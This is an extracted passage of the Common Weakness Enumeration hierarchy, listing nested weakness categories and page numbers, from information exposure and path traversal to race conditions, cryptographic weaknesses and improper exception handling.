  - CWE-201: Exposure of Sensitive Information Through Sent Data *(p.474)*
    - CWE-598: Use of GET Request Method With Sensitive Query Strings *(p.1191)*
  - CWE-203: Observable Discrepancy *(p.478)*
    - CWE-204: Observable Response Discrepancy *(p.482)*
    - CWE-205: Observable Behavioral Discrepancy *(p.485)*
      - CWE-206: Observable Internal Behavioral Discrepancy *(p.486)*
      - CWE-207: Observable Behavioral Discrepancy With Equivalent Products *(p.487)*
    - CWE-208: Observable Timing Discrepancy *(p.488)*
      - CWE-1254: Incorrect Comparison Logic Granularity *(p.1783)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
    - CWE-210: Self-generated Error Message Containing Sensitive Information *(p.496)*
    - CWE-211: Externally-Generated Error Message Containing Sensitive Information *(p.498)*
      - CWE-535: Exposure of Information Through Shell Error Message *(p.1107)*
      - CWE-536: Servlet Runtime Error Message Containing Sensitive Information *(p.1108)*
      - CWE-537: Java Runtime Error Message Containing Sensitive Information *(p.1109)*
    - CWE-550: Server-generated Error Message Containing Sensitive Information *(p.1123)*
  - CWE-213: Exposure of Sensitive Information Due to Incompatible Policies *(p.503)*
  - CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
  - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
  - CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
    - CWE-214: Invocation of Process Using Visible Sensitive Information *(p.505)*

- CWE-526: Exposure of Sensitive Information Through Environmental Variables *(p.1099)*
- CWE-548: Exposure of Information Through Directory Listing *(p.1121)*

- CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory *(p.1111)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
  - CWE-540: Inclusion of Sensitive Information in Source Code *(p.1113)*
    - CWE-531: Inclusion of Sensitive Information in Test Code *(p.1103)*
    - CWE-541: Inclusion of Sensitive Information in an Include File *(p.1114)*
    - CWE-615: Inclusion of Sensitive Information in Source Code Comments *(p.1221)*
  - CWE-651: Exposure of WSDL File Containing Sensitive Information *(p.1276)*

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-23: Relative Path Traversal *(p.42)*
    - CWE-24: Path Traversal: '../filedir' *(p.48)*
    - CWE-25: Path Traversal: '/../filedir' *(p.50)*
    - CWE-26: Path Traversal: '/dir/../filename' *(p.51)*
    - CWE-27: Path Traversal: 'dir/../../filename' *(p.53)*
    - CWE-28: Path Traversal: '..\filedir' *(p.54)*
    - CWE-29: Path Traversal: '\..\filename' *(p.56)*
    - CWE-30: Path Traversal: '\dir\..\filename' *(p.58)*
    - CWE-31: Path Traversal: 'dir\..\..\filename' *(p.60)*
    - CWE-32: Path Traversal: '...' (Triple Dot) *(p.62)*
    - CWE-33: Path Traversal: '....' (Multiple Dot) *(p.64)*
    - CWE-34: Path Traversal: '....//' *(p.66)*
    - CWE-35: Path Traversal: '.../.../' *(p.68)*
  - CWE-36: Absolute Path Traversal *(p.69)*
    - CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
    - CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
    - CWE-39: Path Traversal: 'C:dirname' *(p.77)*
    - CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) *(p.79)*
- CWE-374: Passing Mutable Objects to an Untrusted Method *(p.824)*
- CWE-375: Returning a Mutable Object to an Untrusted Caller *(p.827)*
- CWE-377: Insecure Temporary File *(p.829)*
  - CWE-378: Creation of Temporary File With Insecure Permissions *(p.832)*
  - CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*
- CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') *(p.875)*
  - CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
  - CWE-619: Dangling Database Cursor ('Cursor Injection') *(p.1228)*
- CWE-427: Uncontrolled Search Path Element *(p.922)*
- CWE-428: Unquoted Search Path or Element *(p.927)*
- CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
- CWE-492: Use of Inner Class Containing Sensitive Data *(p.1046)*
- CWE-493: Critical Public Variable Without Final Modifier *(p.1053)*
  - CWE-500: Public Static Field Not Marked Final *(p.1069)*
- CWE-522: Insufficiently Protected Credentials *(p.1091)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
  - CWE-260: Password in Configuration File *(p.573)*
    - CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p.12)*
    - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-523: Unprotected Transport of Credentials *(p.1095)*
  - CWE-549: Missing Password Field Masking *(p.1122)*
  - CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p.1128)*
- CWE-524: Use of Cache Containing Sensitive Information *(p.1096)*

- CWE-525: Use of Web Browser Cache Containing Sensitive Information *(p.1097)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
  - CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
    - CWE-433: Unparsed Raw Web Content Delivery *(p.933)*
  - CWE-220: Storage of File With Sensitive Data Under FTP Root *(p.510)*
  - CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere *(p.1099)*
  - CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
  - CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere *(p.1101)*
  - CWE-530: Exposure of Backup File to an Unauthorized Control Sphere *(p.1102)*
  - CWE-539: Use of Persistent Cookies Containing Sensitive Information *(p.1112)*
  - CWE-553: Command Shell in Externally Accessible Directory *(p.1127)*
- CWE-582: Array Declared Public, Final, and Static *(p.1168)*
- CWE-583: finalize() Method Declared Public *(p.1169)*
- CWE-608: Struts: Non-private Field in ActionForm Class *(p.1210)*
- CWE-642: External Control of Critical State Data *(p.1257)*
  - CWE-15: External Control of System or Configuration Setting *(p.17)*
  - CWE-426: Untrusted Search Path *(p.917)*
  - CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
  - CWE-73: External Control of File Name or Path *(p.125)*
    - CWE-114: Process Control *(p.256)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag *(p.1626)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-277: Insecure Inherited Permissions *(p.609)*
  - CWE-278: Insecure Preserved Inherited Permissions *(p.610)*
  - CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
  - CWE-281: Improper Preservation of Permissions *(p.615)*
- CWE-767: Access to Critical Private Variable via Public Method *(p.1418)*
- CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote *(p.6)*
- CWE-927: Use of Implicit Intent for Sensitive Communication *(p.1611)*

CWE-669: Incorrect Resource Transfer Between Spheres *(p.1307)*

- CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-1258: Sensitive Information Uncleared During Hardware Debug Flows *(p.1789)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
    - CWE-1239: Improper Zeroization of Hardware Register *(p.1758)*
    - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
- CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*
- CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
  - CWE-827: Improper Control of Document Type Definition *(p.1527)*
  - CWE-830: Inclusion of Web Functionality from an Untrusted Source *(p.1538)*
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*

CWE-673: External Influence of Sphere Definition *(p.1313)*

- CWE-426: Untrusted Search Path *(p.917)*

- CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
    - CWE-192: Integer Coercion Error *(p.446)*
    - CWE-194: Unexpected Sign Extension *(p.454)*
    - CWE-195: Signed to Unsigned Conversion Error *(p.457)*
    - CWE-196: Unsigned to Signed Conversion Error *(p.460)*
    - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') *(p.1563)*
- CWE-706: Use of Incorrectly-Resolved Name or Reference *(p.1360)*
  - CWE-178: Improper Handling of Case Sensitivity *(p.411)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
    - CWE-23: Relative Path Traversal *(p.42)*
      - CWE-24: Path Traversal: '../filedir' *(p.48)*
      - CWE-25: Path Traversal: '/../filedir' *(p.50)*
      - CWE-26: Path Traversal: '/dir/../filename' *(p.51)*
      - CWE-27: Path Traversal: 'dir/../../filename' *(p.53)*
      - CWE-28: Path Traversal: '..\filedir' *(p.54)*
      - CWE-29: Path Traversal: '\..\filename' *(p.56)*
      - CWE-30: Path Traversal: '\dir\..\filename' *(p.58)*
      - CWE-31: Path Traversal: 'dir\..\..\filename' *(p.60)*
      - CWE-32: Path Traversal: '...' (Triple Dot) *(p.62)*
      - CWE-33: Path Traversal: '....' (Multiple Dot) *(p.64)*
      - CWE-34: Path Traversal: '..../' *(p.66)*
      - CWE-35: Path Traversal: '.../.../' *(p.68)*
    - CWE-36: Absolute Path Traversal *(p.69)*
      - CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
      - CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
      - CWE-39: Path Traversal: 'C:dirname' *(p.77)*
      - CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) *(p.79)*
  - CWE-386: Symbolic Name not Mapping to Correct Object *(p.844)*
  - CWE-41: Improper Resolution of Path Equivalence *(p.81)*
    - CWE-42: Path Equivalence: 'filename.' (Trailing Dot) *(p.87)*
      - CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) *(p.88)*
    - CWE-44: Path Equivalence: 'file.name' (Internal Dot) *(p.89)*
      - CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) *(p.90)*

    - CWE-47: Path Equivalence: ' filename' (Leading Space) *(p.92)*
    - CWE-48: Path Equivalence: 'file name' (Internal Whitespace) *(p.93)*
    - CWE-49: Path Equivalence: 'filename/' (Trailing Slash) *(p.94)*
    - CWE-50: Path Equivalence: '//multiple/leading/slash' *(p.95)*
    - CWE-51: Path Equivalence: '/multiple//internal/slash' *(p.96)*
    - CWE-52: Path Equivalence: '/multiple/trailing/slash//' *(p.97)*
    - CWE-53: Path Equivalence: '\multiple\\internal\backslash' *(p.98)*
    - CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) *(p.99)*
    - CWE-55: Path Equivalence: '/./' (Single Dot Directory) *(p.100)*
    - CWE-56: Path Equivalence: 'filedir*' (Wildcard) *(p.102)*
    - CWE-57: Path Equivalence: 'fakedir/../realdir/filename' *(p.103)*
    - CWE-58: Path Equivalence: Windows 8.3 Filename *(p.104)*
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
    - CWE-61: UNIX Symbolic Link (Symlink) Following *(p.110)*
    - CWE-62: UNIX Hard Link *(p.112)*
    - CWE-64: Windows Shortcut Following (.LNK) *(p.114)*
    - CWE-65: Windows Hard Link *(p.116)*
  - CWE-66: Improper Handling of File Names that Identify Virtual Resources *(p.118)*

- CWE-67: Improper Handling of Windows Device Names *(p.120)*
- CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p.122)*
- CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path *(p.124)*
- CWE-827: Improper Control of Document Type Definition *(p.1527)*
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*

- CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
  - CWE-782: Exposed IOCTL with Insufficient Access Control *(p.1451)*
- CWE-911: Improper Update of Reference Count *(p.1585)*
- CWE-913: Improper Control of Dynamically-Managed Code Resources *(p.1588)*
  - CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
  - CWE-502: Deserialization of Untrusted Data *(p.1072)*
  - CWE-914: Improper Control of Dynamically-Identified Variables *(p.1589)*
    - CWE-621: Variable Extraction Error *(p.1231)*
    - CWE-627: Dynamic Variable Evaluation *(p.1241)*
  - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes *(p.1591)*
  - CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
    - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
    - CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
      - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*
- CWE-922: Insecure Storage of Sensitive Information *(p.1603)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
    - CWE-313: Cleartext Storage in a File or on Disk *(p.697)*
    - CWE-314: Cleartext Storage in the Registry *(p.699)*
    - CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p.700)*
    - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p.702)*
    - CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
    - CWE-318: Cleartext Storage of Sensitive Information in Executable *(p.704)*
  - CWE-921: Storage of Sensitive Data in a Mechanism without Access Control *(p.1602)*

- CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-128: Wrap-around Error *(p.309)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-135: Incorrect Calculation of Multi-Byte String Length *(p.339)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
  - CWE-193: Off-by-one Error *(p.449)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
  - CWE-468: Incorrect Pointer Scaling *(p.992)*
  - CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
- CWE-691: Insufficient Control Flow Management *(p.1342)*
  - CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls *(p.1802)*
  - CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire) *(p.1833)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
    - CWE-1223: Race Condition for Write-Once Attributes *(p.1741)*
    - CWE-364: Signal Handler Race Condition *(p.802)*
      - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p.932)*
      - CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe *(p.1528)*
        - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*

- CWE-831: Signal Handler Function Associated with Multiple Signals *(p.1539)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
  - CWE-363: Race Condition Enabling Link Following *(p.801)*
  - CWE-365: Race Condition in Switch *(p.807)*
- CWE-368: Context Switching Race Condition *(p.816)*
- CWE-421: Race Condition During Access to Alternate Channel *(p.911)*

- CWE-430: Deployment of Wrong Handler *(p.929)*
- CWE-431: Missing Handler *(p.931)*
- CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p.1234)*
- CWE-662: Improper Synchronization *(p.1288)*
  - CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
    - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
    - CWE-558: Use of getlogin() in Multithreaded Application *(p.1130)*
  - CWE-667: Improper Locking *(p.1299)*
    - CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
    - CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls *(p.1750)*
    - CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
    - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
    - CWE-413: Improper Resource Locking *(p.896)*
      - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
    - CWE-414: Missing Lock Check *(p.900)*
    - CWE-609: Double-Checked Locking *(p.1211)*
    - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
    - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
    - CWE-832: Unlock of a Resource that is not Locked *(p.1542)*
    - CWE-833: Deadlock *(p.1543)*
  - CWE-820: Missing Synchronization *(p.1512)*
    - CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization *(p.1696)*
    - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p.1115)*
    - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
  - CWE-821: Incorrect Synchronization *(p.1514)*
    - CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*
    - CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels *(p.1800)*
    - CWE-572: Call to Thread run() instead of start() *(p.1152)*
    - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
- CWE-670: Always-Incorrect Control Flow Implementation *(p.1308)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
    - CWE-481: Assigning instead of Comparing *(p.1026)*
    - CWE-482: Comparing instead of Assigning *(p.1029)*
    - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
  - CWE-483: Incorrect Block Delimitation *(p.1032)*
  - CWE-484: Omitted Break Statement in Switch *(p.1034)*
  - CWE-617: Reachable Assertion *(p.1224)*
  - CWE-698: Execution After Redirect (EAR) *(p.1353)*
  - CWE-783: Operator Precedence Logic Error *(p.1453)*
- CWE-674: Uncontrolled Recursion *(p.1314)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*
- CWE-696: Incorrect Behavior Order *(p.1348)*
  - CWE-1190: DMA Device Enabled Too Early in Boot Phase *(p.1728)*

- CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control *(p.1732)*
- CWE-1280: Access Control Check Implemented After Asset is Accessed *(p.1831)*
- CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
  - CWE-181: Incorrect Behavior Order: Validate Before Filter *(p.420)*
- CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
- CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*

- CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-248: Uncaught Exception *(p.545)*
    - CWE-600: Uncaught Exception in Servlet *(p.1193)*
  - CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
  - CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
  - CWE-455: Non-exit on Failed Initialization *(p.969)*
  - CWE-584: Return Inside Finally Block *(p.1171)*
  - CWE-698: Execution After Redirect (EAR) *(p.1353)*
- CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
  - CWE-782: Exposed IOCTL with Insufficient Access Control *(p.1451)*
- CWE-768: Incorrect Short Circuit Evaluation *(p.1420)*
- CWE-799: Improper Control of Interaction Frequency *(p.1494)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p.1550)*
- CWE-834: Excessive Iteration *(p.1544)*
  - CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p.1546)*
- CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
  - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
  - CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
    - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*

- CWE-693: Protection Mechanism Failure *(p.1344)*
  - CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations *(p.1642)*
  - CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications *(p.1773)*
  - CWE-1253: Incorrect Selection of Fuse Values *(p.1782)*
  - CWE-1263: Insufficient Physical Protection Mechanism *(p.1798)*
  - CWE-1269: Product Released in Non-Release Configuration *(p.1810)*
  - CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques *(p.1827)*
  - CWE-182: Collapse of Data into Unsafe Value *(p.422)*
  - CWE-184: Incomplete List of Disallowed Inputs *(p.425)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
    - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
      - CWE-313: Cleartext Storage in a File or on Disk *(p.697)*
      - CWE-314: Cleartext Storage in the Registry *(p.699)*
      - CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p.700)*
      - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p.702)*
      - CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
      - CWE-318: Cleartext Storage of Sensitive Information in Executable *(p.704)*
    - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
      - CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption *(p.1)*
    - CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute *(p.1220)*

- CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-261: Weak Encoding for Password *(p.575)*
  - CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-1240: Use of a Risky Cryptographic Primitive *(p.1759)*
  - CWE-328: Reversible One-Way Hash *(p.726)*
  - CWE-780: Use of RSA Algorithm without OAEP *(p.1448)*
  - CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*
    - CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
    - CWE-760: Use of a One-Way Hash with a Predictable Salt *(p.1399)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-1241: Use of Predictable Algorithm in Random Number Generator *(p.1761)*
  - CWE-329: Not Using a Random IV with CBC Mode *(p.729)*
  - CWE-331: Insufficient Entropy *(p.736)*
    - CWE-332: Insufficient Entropy in PRNG *(p.739)*
    - CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
  - CWE-334: Small Space of Random Values *(p.742)*
    - CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length *(p.2)*
  - CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
    - CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
    - CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
    - CWE-339: Small Seed Space in PRNG *(p.751)*
  - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
  - CWE-340: Generation of Predictable Numbers or Identifiers *(p.752)*
    - CWE-341: Predictable from Observable State *(p.753)*
    - CWE-342: Predictable Exact Value from Previous Values *(p.755)*
    - CWE-343: Predictable Value Range from Previous Values *(p.756)*
  - CWE-344: Use of Invariant Value in Dynamically Changing Context *(p.757)*
    - CWE-323: Reusing a Nonce, Key Pair in Encryption *(p.713)*
    - CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
    - CWE-798: Use of Hard-coded Credentials *(p.1486)*
      - CWE-259: Use of Hard-coded Password *(p.569)*
      - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-804: Guessable CAPTCHA *(p.1495)*
- CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
  - CWE-348: Use of Less Trusted Source *(p.765)*
  - CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
  - CWE-351: Insufficient Type Distinction *(p.772)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
  - CWE-353: Missing Support for Integrity Check *(p.780)*
  - CWE-354: Improper Validation of Integrity Check Value *(p.782)*
  - CWE-360: Trust of System Event Data *(p.792)*
    - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p.912)*
  - CWE-616: Incomplete Identification of Uploaded File Variables (PHP) *(p.1223)*
  - CWE-646: Reliance on File Name or Extension of Externally-Supplied File *(p.1268)*
  - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*
- CWE-357: Insufficient UI Warning of Dangerous Operations *(p.785)*
  - CWE-450: Multiple Interpretations of UI Input *(p.961)*
- CWE-358: Improperly Implemented Security Check for Standard *(p.786)*
- CWE-424: Improper Protection of Alternate Path *(p.914)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*

- CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-653: Insufficient Compartmentalization *(p.1279)*
- CWE-654: Reliance on a Single Factor in a Security Decision *(p.1281)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-309: Use of Password System for Primary Authentication *(p.684)*
- CWE-655: Insufficient Psychological Acceptability *(p.1283)*
- CWE-656: Reliance on Security Through Obscurity *(p.1285)*
- CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p.1392)*
- CWE-778: Insufficient Logging *(p.1444)*
- CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p.769)*
  - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*

CWE-697: Incorrect Comparison *(p.1350)*

- CWE-1023: Incomplete Comparison with Missing Factors *(p.1635)*
  - CWE-184: Incomplete List of Disallowed Inputs *(p.425)*
  - CWE-187: Partial String Comparison *(p.432)*
  - CWE-478: Missing Default Case in Switch Statement *(p.1018)*
  - CWE-839: Numeric Range Comparison Without Minimum Check *(p.1554)*
- CWE-1024: Comparison of Incompatible Types *(p.1637)*
- CWE-1025: Comparison Using Wrong Factors *(p.1638)*
  - CWE-486: Comparison of Classes by Name *(p.1036)*
  - CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
    - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
- CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations *(p.1642)*
- CWE-1077: Floating Point Comparison with Incorrect Operator *(p.1678)*
- CWE-1254: Incorrect Comparison Logic Granularity *(p.1783)*
- CWE-183: Permissive List of Allowed Inputs *(p.424)*
  - CWE-942: Permissive Cross-domain Policy with Untrusted Domains *(p.1621)*
- CWE-185: Incorrect Regular Expression *(p.429)*
  - CWE-186: Overly Restrictive Regular Expression *(p.431)*
  - CWE-625: Permissive Regular Expression *(p.1237)*
    - CWE-777: Regular Expression without Anchors *(p.1443)*
- CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*

CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*

- CWE-1247: Missing Protection Against Voltage and Clock Glitches *(p.1770)*
- CWE-166: Improper Handling of Missing Special Element *(p.390)*
- CWE-167: Improper Handling of Additional Special Element *(p.392)*
- CWE-168: Improper Handling of Inconsistent Special Elements *(p.394)*
- CWE-228: Improper Handling of Syntactically Invalid Structure *(p.519)*
  - CWE-229: Improper Handling of Values *(p.521)*
    - CWE-230: Improper Handling of Missing Values *(p.521)*
    - CWE-231: Improper Handling of Extra Values *(p.523)*
    - CWE-232: Improper Handling of Undefined Values *(p.524)*
  - CWE-233: Improper Handling of Parameters *(p.525)*
    - CWE-234: Failure to Handle Missing Parameter *(p.526)*
    - CWE-235: Improper Handling of Extra Parameters *(p.529)*
    - CWE-236: Improper Handling of Undefined Parameters *(p.530)*
  - CWE-237: Improper Handling of Structural Elements *(p.531)*
    - CWE-238: Improper Handling of Incomplete Structural Elements *(p.531)*

- CWE-239: Failure to Handle Incomplete Element *(p.532)*
- CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*
  - CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*

- CWE-248: Uncaught Exception *(p.545)*
  - CWE-600: Uncaught Exception in Servlet *(p.1193)*
